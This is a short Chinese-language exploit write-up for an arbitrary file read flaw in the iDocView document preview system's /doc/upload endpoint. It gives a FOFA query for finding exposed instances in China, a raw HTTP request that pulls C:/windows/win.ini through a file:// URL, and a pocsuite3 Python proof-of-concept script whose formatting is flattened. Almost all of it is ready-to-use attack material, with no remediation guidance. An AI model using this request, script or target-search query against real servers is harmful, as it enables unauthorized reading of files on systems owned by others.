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漏洞描述
此在线文档预览系统是一套用于在Web环境中展示和预览各种文档类型的系统，如文本文档、电子表格、演示文稿、PDF文件等。此系统doc/upload接口存在任意文件读取漏洞。
fofa语句
title="I Doc View" && country="CN"poc加检测
GET /doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=r.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
返回srcUrl，拼接url
poc脚本
脚本用的pocsuite框架
# _*_ coding:utf-8 _*_
# @Time : 2023/12/18
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass idocview_docupload_fileread(POCBase):pocDesc = '''iDocview_doc/upload接口存在任意文件读取漏洞'''author = '炼金术师诸葛亮'createDate = '2023-12-18'name = 'iDocview_doc/upload接口存在任意文件读取漏洞'def _verify(self):result = {}url = self.url+ '/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=rand.txt'headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"}try:response = requests.get(url, headers=headers)if response.status_code == 200 and 'srcUrl' in response.text:response_json = response.json()filepath = response_json.get('srcUrl')if filepath:check_path = self.url + filepathcheck_response = requests.get(check_path, headers=headers, verify=False)if check_response.status_code == 200:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(idocview_docupload_fileread)脚本利用
